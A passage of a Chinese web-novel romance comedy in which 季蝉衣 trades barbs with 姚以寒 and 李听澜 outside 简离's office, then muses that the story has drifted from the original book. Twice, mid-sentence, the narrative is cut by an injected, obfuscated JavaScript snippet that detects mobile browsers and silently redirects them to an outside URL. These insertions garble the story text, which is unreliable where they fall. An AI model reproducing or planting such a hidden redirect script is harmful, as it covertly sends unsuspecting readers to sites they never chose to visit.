按照现在简离在大家眼中辛苦塑造出来的人设,她应该对李听澜痴情不改,即便是知道他放不下前女友也依然愿意飞蛾扑火,绝对不是因为爱钱。所以为了维持好自己辛苦积攒的人气,她象征性的抬手碰了碰眼角,好似在抹去眼角的泪。 这个反应显然取悦到了姚以寒,她坐在副驾驶上一动不动,既没有要下车的趋势,而且看起来也没有要请简离上车的念头——虽然车上已经坐满了人,简离要上的话只能坐她怀里了。 姚以寒笑眯眯地说:“呀,伯母打电话过来的时候,我们正好一起去了水族馆玩,伯母事先也没有提前告诉我们,忽然就说要去接你,原本听澜是不想来的,我担心你出了什么事情,就劝他过来看一看,简小姐,你没什么事情吧?” 车上的四个人都没动,徐嫣然更是那一副看好戏的眼神轻蔑的看着简离。 他们都没有要下车的态势,全部坐在车上,虽然表情不显,但是每个人都或多或少的表露出一点居高临下和不屑的神态。 郑素梅不是可以随意插手李听澜的生活吗?那么他们也同样可以反击,通过不经意间对简离流露出来的蔑视和傲慢来反击郑素梅强硬的安排。 虽然他们没办法直接对郑素梅做什么,但却可以肆意对待简离。 听见姚以寒这么说,简离一时间不知道该怎么回答。 如果按照她平常和各自合作方打交道练出来的刻薄嘴巴,她其实有大把不带脏字的话可以损姚以寒,但坏就坏在现在她还要维持自己的痴情白莲花人设不倒,所以再想说什么话就得再三斟酌了。 但简离为了赚钱有顾虑,季蝉衣可没有,她笑眯眯地开口:“本来没什么事的,但是见到了姚小姐你嘛,那可就说不好了。” 姚以寒的脸色暗了暗:“你这是什么意思?” “字面意思,这不会还需要我中译中吧?” “……”姚以寒轻轻吐出一口气,她在季蝉衣身上几次都没捞到好,新仇旧恨加在一起,她对季蝉衣本来就没什么好脸色,现在更是按捺不住,“季小姐,抖机灵过了头就会开始惹人厌了,我似乎没有惹过你吧,怎么你好像总是一副针对我的样子呢?” “可能是因为你身上无时无刻散发出来的茶味熏得我头晕,于是不小心激发了我的攻击性吧。” “?” 季蝉衣笑眯眯地说:“别在我面前装什么你无辜了,小三姿态都大摇大摆做到我们面前了,我们不替天行道那不是对不起你这番苦心吗?” 姚以寒恼羞成怒:“什么小三?不被爱的才是小三,你这位好闺蜜以为一直苦苦挽留听澜就能得到什么吗?真是可笑,在她之前,我和听澜的经历是所有人都替代不了的。在听澜最难过的时候是我一直陪着她,你、你们又算得了什么?” “呸!我还不被打的都是小强呢!要不我现在打你一巴掌证明你不是小强?我管你和李听澜之前有什么,怎么着,人李听澜和你谈过一次之后还留下一辈子的污点了是吗?真把自己当顽固油渍了,这不是闹吗?敢侮辱人油渍……你这么牛叉,有本事去吃屎啊。” “?” 姚以寒原本想反驳,听到最后一句懵了。她一直觉得“你这么牛叉”后半句的正确句式跟的应该是类似“那你有本事让简离和李听澜分手啊”或者是“有本事别用李听澜的钱啊”,对于这两种之中的任意一个句式她都有足够的话来反驳,但姚以寒万万没想到季蝉衣剑出偏锋,不走寻常路,接了一句“有本事去吃屎”。 凭什么有本事就要去吃屎?那那些没本事的呢?就不配吗? 但姚以寒很快意识到自己的思绪已经被季蝉衣全部带偏了,连忙摆正自己的思绪,好在徐嫣然还没有被带偏,见姚以寒沉默了,立刻替她顶了上了,暂时吸引住了火力:“季小姐,你先别激动,你冷静点好吗?你的情绪也太不稳定了,我们这是在解决问题,如果你一定要发泄情绪的话,那我们就无可奉陪。” 季蝉衣冷笑一声,不仅没掉进自证陷阱,甚至直接把陷阱掀了:“我就是想发泄情绪怎么了?你想解决问题是吧,好啊,要不然你站在我面前让我揍一顿?这样我也没情绪了,你也解决完问题了,怎么样?你敢出来吗?” “你疯了吧?你就是这么霸凌别人的?要不要脸?” “霸凌”这么大一顶帽子扣下来,普通人早就下意识地否认反驳了,但季蝉衣没有,她笑眯眯地看着姚以寒和徐嫣然,声音和蔼:“你都说我是霸凌你了,还怎么要脸?” 姚以寒终于忍不住了:“你简直就是个疯子,你竟然敢这么堂而皇之的骂人?” 季蝉衣心说才这点程度也叫骂人……不过嘴上却说:“我骂你又怎么了?有本事你报警把我抓起来啊,你让人把我枪毙啊?你敢吗?啊,姚以寒,你现在连离开这辆车都不敢。” 姚以寒气的脸色青一阵白一阵,牙都快咬碎了。 简离把手伸到背后,悄悄冲季蝉衣比了个大拇指。季蝉衣余光看见了,朝简离露出一个胸有成竹的笑容。 见姚以寒被压着骂,李听澜表情不太好,他皱了皱眉,似乎想说什么,但是想想简离现在和他的关系,最后什么都没说。 不过这时候一直没说话的徐蒙忍了这么久终于听不下去了,准备直接开口骂人,但他还没张开嘴巴,一个季蝉衣熟悉的声音就响了起来:“咦,你们在这里干嘛呢?” 季蝉衣扭头一看,竟然是很久不见的陈既。 季蝉衣奇怪的问:“陈既?你怎么在这里?” 陈既吹了声口哨:“我准备去找筱竹,她就在附近,所以我正好路过这里,你怎么也在这儿?你们干嘛呢?” 季蝉衣吹了声口哨:“哦,也没什么,有小三上门挑衅,男主人公美美隐身,我来骂人呢。” 陈既:“?” 姚以寒:“……” 李听澜:“……” 陈既的八卦之心瞬间被点燃了:“怎么个事儿?谁小三?谁隐身?让我看看。” 说着就一脸看热闹的凑到了车前,看见了姚以寒的时候,他倒是没注意,但看到了李听澜之后,陈既顿时愣了:“李总?你怎么也在这儿?” 李听澜是陆靳的发小,之前陈既和黛秋心混在一起的时候,和陆靳的关系也不错,所以和李听澜有过几面之缘。后面陈既和唐筱竹在一起之后,大部分的时间就和唐筱竹在一起了,也就逐渐没那么高频的和陆靳厮混了。 李听澜懒散的靠在座椅靠背上,语气平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579776|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静:“过来接人。” 季蝉衣嗤的一声笑了。陈既看看季蝉衣,又看看李听澜,似乎明白了些什么,知道这种事情参与越少越好,于是立刻闭上嘴不说话了。 不过陈既确实闭上了嘴,但架不住又来了一个人。 唐筱竹狐疑的走向人堆,左右看了看,一脸的奇怪之色:“今天怎么了?你们打算在简离公司门口团建?怎么来的这么齐全?” 说着又看向季蝉衣,更加奇怪的“咦”了一声:“你在这儿,周总怎么不在?你俩不是一直形影不离的吗?” 季蝉衣朝唐筱竹招了招手,用看似小声实则一点也不小的声音神神秘秘的说:“过来,告诉你个秘密,这个秘密关乎我们为什么一起出现在这里。” 唐筱竹一脸狐疑,但是腿倒是很诚实走过去了:“什么东西?” 季蝉衣笑眯眯地说:“在和你说这些秘密之前,我先问你个问题。” 唐筱竹的表情更加奇怪,但还是说:“你问吧。” “如果你发现一个小三堂而皇之的来到正主面前挑衅,甚至还对正主蹬鼻子上脸极尽讥讽,你会怎么做?” 唐筱竹生平最恨这些事情,于是想也不想就说:“那还用想吗?我直接给她一巴掌……不对,那那个男的呢?男的怎么美美隐身了?” “聪明,你一下子就发现了华点。这个男的比这个小三还可恶,不仅助长邪恶风气,而且还对正主不屑一顾。要是你的话,你会怎么惩治这对奸夫□□?” 唐筱竹真心实意的怒道:“这还用说,直接把他们五马分尸。就算分不了尸,我用唾沫星子也得把他们淹死!看我不让他们知道这个世界的秩序!” 姚以寒:“……” 李听澜:“……” 陈既和简离眼神四处乱瞟,装作云淡风轻的抬头看天。 徐嫣然和徐蒙看表情都想骂街,但都生生忍住了。毕竟季蝉衣并没有指名道姓的说,现在他们主动开口,反而像是对号入座了一样。 季蝉衣鼓了鼓掌,一脸钦佩:“筱竹,我果然没看错你,我就知道你是个正义凌然的奇女子!” 唐筱竹完全不知道危险的逼近,一脸自豪的说:“那不是,我小时候还被评为了助人标兵呢!” 不过唐筱竹也很快反应过来了什么:“这个问题和你要和我说的秘密到底有什么关系啊?还有,你说的这个小三和这个贱男又是谁?” 季蝉衣打了个响指:“恭喜你问出了关键。其实我和要你说的秘密和这对X男X女是同一个事情。” 说着,季蝉衣扶着唐筱竹的肩膀,手动将她的身体掰向正对着驾驶位和副驾驶的位置,一脸和善:“这就是故事的主人公,你刚刚不是说有很多话想对他们说吗?现在可以尽情的说了。” 唐筱竹猝不及防的和两人对上了视线,三人面面相觑,彼此都有些拘谨。 唐筱竹哪里见过这么抓马的场面,脸色一阵红一阵白,一下子就熄火了。 就在陈既想上来解围时,季蝉衣先笑了,放开了抓着唐筱竹的肩膀,语气轻松:“好了,不逗你了,一会儿我来骂他们就好,你是来和陈既汇合的吧,不打扰你们玩了,先走吧。” 唐筱竹上下打量了车里的两人一眼,想到刚刚季蝉衣说的话,忍不住对二人翻了一个大大的白眼。 姚以寒:“……” 李听澜:“……” 唐筱竹“哦”了一声回应了季蝉衣,转身来到了大家的身后,却没有立刻离开,而是背对着姚以寒和李听澜,确定他们看不见自己之后,才大声的说:“呸,真是贱男渣女,赶紧下地狱去吧,真是活着浪费空气,死了浪费土地,半死不活浪费人民币。我呸呸呸,真晦气!!” 季蝉衣:“……” 陈既:“……” 简离:“……” 三人对视一眼,又各自慌乱的移开视线,使劲压住即将上扬的嘴角,慌乱的看天看地,就是不看车里面的四个人。 37. Chapter37. 姚以寒真是有气没处撒,被人指着鼻子骂成这样,偏偏还不知道该如何反击回去。 骂唐筱竹吧,这姑娘已经很聪明的躲开了,她总不好冲出去追着人家骂,再说了还有一个陈既一个季蝉衣挡着,她也没办法追。骂季蝉衣吧,季蝉衣这人没脸没皮的,像是没有任何软肋一样,骂了也没用,反而是自己被气得不轻。 姚以寒一辈子没受过这么多的窝囊气,不仅她憋了一肚子气,李听澜脸色也不太好,从小到大,他什么时候被人这么直白的阴阳怪气过?但偏偏他还没有任何办法为自己辩解,因为他不得不承认,这件事确实是他有错在先,他不该一边妥协着和简离在一起,又一边助长姚以寒过来挑衅简离的焰火。 他是过错方,所以他也没办法替自己说话。 今天这一趟真是糟透了,他当初怎么就鬼迷心窍听了姚以寒的话过来? 季蝉衣见戏演的差不多了,也反击够了,这才笑眯眯的收了个尾:“你们这车我们也是不敢坐了——虽然也确实因为没有位置坐不下。姚小姐,我们不像你,自己没车只能拖家带口的蹭别人的车坐,我们有人接,也不像你一样好意思叫这么多人没脸没皮的坐别人男朋友的副驾驶。” 姚以寒好不容易劝自己平复了下来,闻言又再次柳眉倒竖,想也不想就开口反驳:“有往自己脸上贴金是吧,这样的话倒是张口就来,要真有人接你们的话,怎么还眼巴巴的叫听澜来接你们……” 像是故意想打她的脸似的,姚以寒话音还未落下,一辆黑色宾利就缓缓地驶了过来,停在季蝉衣身后,车窗降下,露出周予安带着闲适笑容的脸:“衣姐,我来接你们了。” 季蝉衣本来就是为了气姚以寒才那么随口一说,没想到姚以寒还真就抓住不放了,要是周予安不来,她一时半会儿的还真不太好收尾。 不过现在帮手来了,季蝉衣也就更加肆无忌惮起来:“你刚刚说什么?风太大我没听见。” “……” 不同于姚以寒脸上的愤恨,后座的徐嫣然隔着车窗看见了周予安,立刻就被他的模样牢牢的吸引了视线,不知不觉就张开了嘴巴,看了好久都还没有回过神。 简离使劲憋住嘴边的笑意,轻轻咳了一声,换上一副被伤害过后楚楚可怜但又十分善解人意的模样,故意靠近李听澜,贴在李听澜的耳边压低声音说:“抱歉,听澜,但让你过来真不是我要求伯母说的,我本来也不知道这件事,还是后来伯母打电话告诉我我才知道。今天这件事我不会和伯母说的,我会和伯母说咱们今晚去约会了,咱们今天过得很开心,到时候你别说漏了嘴就行。” 顿了顿,她低下头,这个角度可以让她看起来更加楚楚可怜:“如果你真这么讨厌和我相处,我以后会委婉的和伯母提一提。我不愿让你为难。” 说完不动声色瞥了姚以寒一眼,明明那只是随意的一瞥,可姚以寒却读出了讥讽和得意。哼哼哼,没想到吧,不止你会演戏,老娘的演技也早已经在谈合作的推杯换盏中练的炉火纯青了哈哈哈哈哈哈哈哈。 姚以寒的拳头都快纂出血了,她死死盯着简离,恨得不知道怎么办才好,恨不得直接和简离打一架。 X的,这个死简离,说的全是她的词儿啊! 简离说完之后,隔着车窗拍了拍李听澜的肩膀,收起那副看起来惹人怜的模样,笑眯眯的和车里的所有人说:“好了,那不打扰你们玩了,下次再约,拜拜。” 李听澜愣了一下,隔着车窗看着简离,她脸上带着温和的笑容,但笑容下是勉强压下去的痛苦…… 季蝉衣:“?” 季蝉衣:“你的演技什么时候这么有层次感了?” 简离:“哪啊,我那不是想到一会要去吃烤串开心的笑容吗?这个李听澜自己脑补到哪里去了?” 季蝉衣:“……” 简离的“善解人意”多少让经历今天这一切的李听澜心里感受到了一丝后悔。他不是不辨是非的人,谁对他好谁关心他他不可能不知道,也不可能一点都不为所动。 直到从这里离开之后,李听澜的情绪依然久久没有平复,就连姚以寒和他说话都破天荒的有些心不在焉。而且徐嫣然似乎也有点心猿意马,一直都在沉默。 姚以寒看着李听澜答非所问的模样,指甲又忍不住狠狠的嵌进手掌里。 简离,你怎么总是这么阴魂不散?我一定会要你好看! 但姚以寒不经意间从车内后视镜看了一眼,发现徐嫣然的表情很奇怪,于是忍不住多嘴问了一句:“嫣然,你怎么了?” 徐嫣然回过神,神色慌乱了两秒,很快平复下来,她似乎不经意的问姚以寒:“哦,没什么,刚刚想事情呢。对了以寒……后面来的那个男人和季蝉衣是什么关系?” 姚以寒一愣,仔细观察了一下徐嫣然的表情,意识到了什么,忽然后知后觉露出一个别有深意6的笑容。 李听澜他们都走人了,季蝉衣也没什么留下的必要了。她准备上周予安的车让周予安送他们一程,一转头,就看见已经吃够瓜的陈既和唐筱竹还一脸求瓜若渴的站在原地。 她忍不住笑了一下,在两人面前挥了挥手:“回神了,这人都走了好半天了,你俩还不走?” 唐筱竹“嘿嘿”一笑,显然吃瓜还有点地方没吃明白:“这个李听澜怎么回事?那个坐后座的又是干嘛的?” “这件事就说来话长了,等以后我找到机会再和你们详细的说说,你不是还要和陈既约会吗?赶紧去吧,我也要约会去了。” 唐筱竹有些失望的“哦”了一声,正要走,季蝉衣忽然又想起来了什么,奇怪的问:“对了,陈既刚刚说是来这边找你的,那你怎么来简离公司附近了?” 唐筱竹朝车里的周予安努了努嘴:“哦,我来这边见一个周总之前给我介绍的合作方,之前这个合作方也跟陈既合作过,现在我们都和他处成了好朋友。说起来就是靠着这个合作方我之前才和陈既有机会一直见面呢。这么说周总也算是我们的媒婆……媒公之一了。” 她想到了什么,大大咧咧的朝周予安笑了笑:“周总,还是那句话,等以后我们结婚了,一定请你和季蝉衣喝喜酒。” 季蝉衣狐疑的看向周予安,没想到周予安和唐筱竹他们之间还有这样一段她不知道的往事。 周予安朝她和善一笑:“顺手做一下好人好事嘛。” 唐筱竹也跟着“嘿嘿”傻笑。 季蝉衣就说:“那你们准备怎么回去?” 陈既说:“我开了车来,停在了商场那边,一会儿我们逛逛商场再回去。” “好,那我们就先回去了。” “好,拜拜。” “再见。” 简离拉开后座的车门坐了进去,季蝉衣就习惯性的坐进了副驾驶。 系好安全带后,季蝉衣对着小镜子补了下口红,然后边盖口红盖子边随口说:“瓜总,今天你来的也太巧了吧,来的刚刚好,我装逼正缺个给台阶下的人呢,你就来了。要是你再晚来一步,那个姚以寒估计就找到由头狠狠反击我了。” 周予安不动声色地握紧了口袋里追踪器的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582564|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信号接收器,语气自然:“哦,可能是咱俩心有灵犀吧,毕竟有情人就是这样的。” 季蝉衣差点脱口而出“你这又是演的哪一出”,但话到嘴边,看见简离星星眼的看着他们两个人,猛然反应过来现在两个人应该还是处cp的状态,于是嘴边的话及时转了个弯,出口就成了:“我就知道,其实我刚刚就感应到你肯定会来,所以才这么说的,安总,你简直就是我的真命天子!” 周予安咳嗽了一下,在简离看不到的地方用眼神示意季蝉衣:“这话是不是有点过于奔放了?” 季蝉衣示意回来:“经历了杨秀迁他姑姑那一遭之后,我现在也准备走浮夸风的演技了。” “季老师太有创新太有事业心了,但有没有想过和你演对手戏的搭档接不接的住你的戏?” “瓜老师这是什么意思?瓜老师是前辈,肯定比我更能迅速适应,加油,组织相信你!” “这就是传说中的捧杀?饭圈文化果然可怕。” “既来之则安之,放松啦,姐带你飞。” 两个人互相示意的有点忘情,一时间被简离注意到了,但简离并没有多想,只是在心里连连感叹:这两人的关系也太好了,现在当着她的面都敢这么光明正大的眉目传情了!这样下去修成正果岂不是指日可待——她当干娘的心愿岂不是也指日可待了?? 今天这一场闹剧结束之后,季蝉衣身心俱疲,只想大吃特吃一顿补充体力。简离又在后面和合作商沟通起细节了,和他们聊了一会儿就没声了。季蝉衣也渐渐的不再说话,靠在靠背上发呆。 她在回想了一下最近发生的一系列事情,后知后觉发现现在发生的很多事情都完全没有按照书中的内容走。 比方说按照书中现在的剧情,她和陆靳应该处在一种爱恨交织恨海情天的纠缠之中,但事实上季蝉衣见到陆靳的次数比见周予安的次数开个三次方根再减十的二次方还要多上很多,他们之间不见得有什么感情纠葛,但是季蝉衣倒是觉得和陆靳好像处出来了一点社会主义兄弟情。 再比如说,书中的纪雪薇现在应该缠着陆靳,使劲的刺激季蝉衣……但事实是,纪雪薇好像也完全对陆靳失去了兴趣,至少季蝉衣知道的是纪雪薇几乎不再去主动找陆靳。而且因为季蝉衣使劲规避和纪雪薇的见面,现在纪雪薇很几乎没机会刺激她。 再再再比如说,现在和陈既在一起的是唐筱竹而不是黛秋心,连官配都能拆,那还有什么是不能干的? 所以原著对其他穿书的角色来说算是开了天眼,有了一个金手指,可以提前知道某些大事发生从而提前做好准备,但对季蝉衣来说,原主就是用来在自己开心的事情回想一下然后让自己变得难受的。 原书对季蝉衣来说最大的好处就是偶尔可以通过原著描写的某些情节提前规避和陆靳以及纪雪薇的见面。 也正是因为她为了避免和男主、女配的见面已经到了如此呕心沥血的程度,所以她也确实避免了大部分的见面——也变相的跳过了书中几乎百分之八十的剧情。 现在这本书成功被季蝉衣腰斩,不,应该说是从脖子的位置就已经全部斩断了,现在这本书和原著几乎已经没什么关系了,除了名字相同之外,其他的剧情都在季蝉衣的举动之下发生了改变,而一个小小的改变有可能引发更大的改变,改变又引来第二次的改变……这么循环往复下去,小小的一个举动引发蝴蝶效应,让整个故事的走向变得面目全非。 季蝉衣现在最想知道的就是,改动了这么多之后,她究竟有没有成功改变那个结局呢?